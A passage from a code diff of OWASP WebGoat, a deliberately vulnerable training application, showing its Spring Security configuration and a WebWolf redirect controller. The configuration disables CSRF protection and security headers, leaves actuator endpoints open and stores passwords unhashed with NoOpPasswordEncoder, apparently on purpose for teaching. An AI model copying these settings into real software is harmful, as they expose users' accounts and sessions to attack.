import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.NoOpPasswordEncoder;
import org.springframework.security.web.SecurityFilterChain;
/** Security configuration for WebGoat. */
@Configuration
@AllArgsConstructor
@EnableWebSecurity
public class WebSecurityConfig {
private final UserService userDetailsService;
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
return http.authorizeHttpRequests(
auth ->
auth.requestMatchers(
"/favicon.ico",
"/css/**",
"/images/**",
"/js/**",
"fonts/**",
"/plugins/**",
"/registration",
"/register.mvc",
"/actuator/**")
.permitAll()
.anyRequest()
.authenticated())
.formLogin(
login ->
login
.loginPage("/login")
.defaultSuccessUrl("/welcome.mvc", true)
.usernameParameter("username")
.passwordParameter("password")
.permitAll())
.oauth2Login(
oidc -> {
oidc.defaultSuccessUrl("/login-oauth.mvc");
oidc.loginPage("/login");
})
.logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
.csrf(csrf -> csrf.disable())
.headers(headers -> headers.disable())
.exceptionHandling(
handling ->
handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
.build();
}
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService);
}
@Bean
@Primary
public UserDetailsService userDetailsServiceBean() {
return userDetailsService;
}
@Bean
public AuthenticationManager authenticationManager(
AuthenticationConfiguration authenticationConfiguration) throws Exception {
return authenticationConfiguration.getAuthenticationManager();
}
@Bean
public NoOpPasswordEncoder passwordEncoder() {
return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
}
}

View File

@ -0,0 +1,25 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import lombok.RequiredArgsConstructor;
import org.springframework.context.ApplicationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.servlet.ModelAndView;
@Controller
@RequiredArgsConstructor
public class WebWolfRedirect {
private final ApplicationContext applicationContext;
@GetMapping("/WebWolf")
public ModelAndView openWebWolf() {
var url = applicationContext.getEnvironment().getProperty("webwolf.url");
return new ModelAndView("redirect:" + url + "/home");
}
}

Some files were not shown because too many files have changed in this diff Show More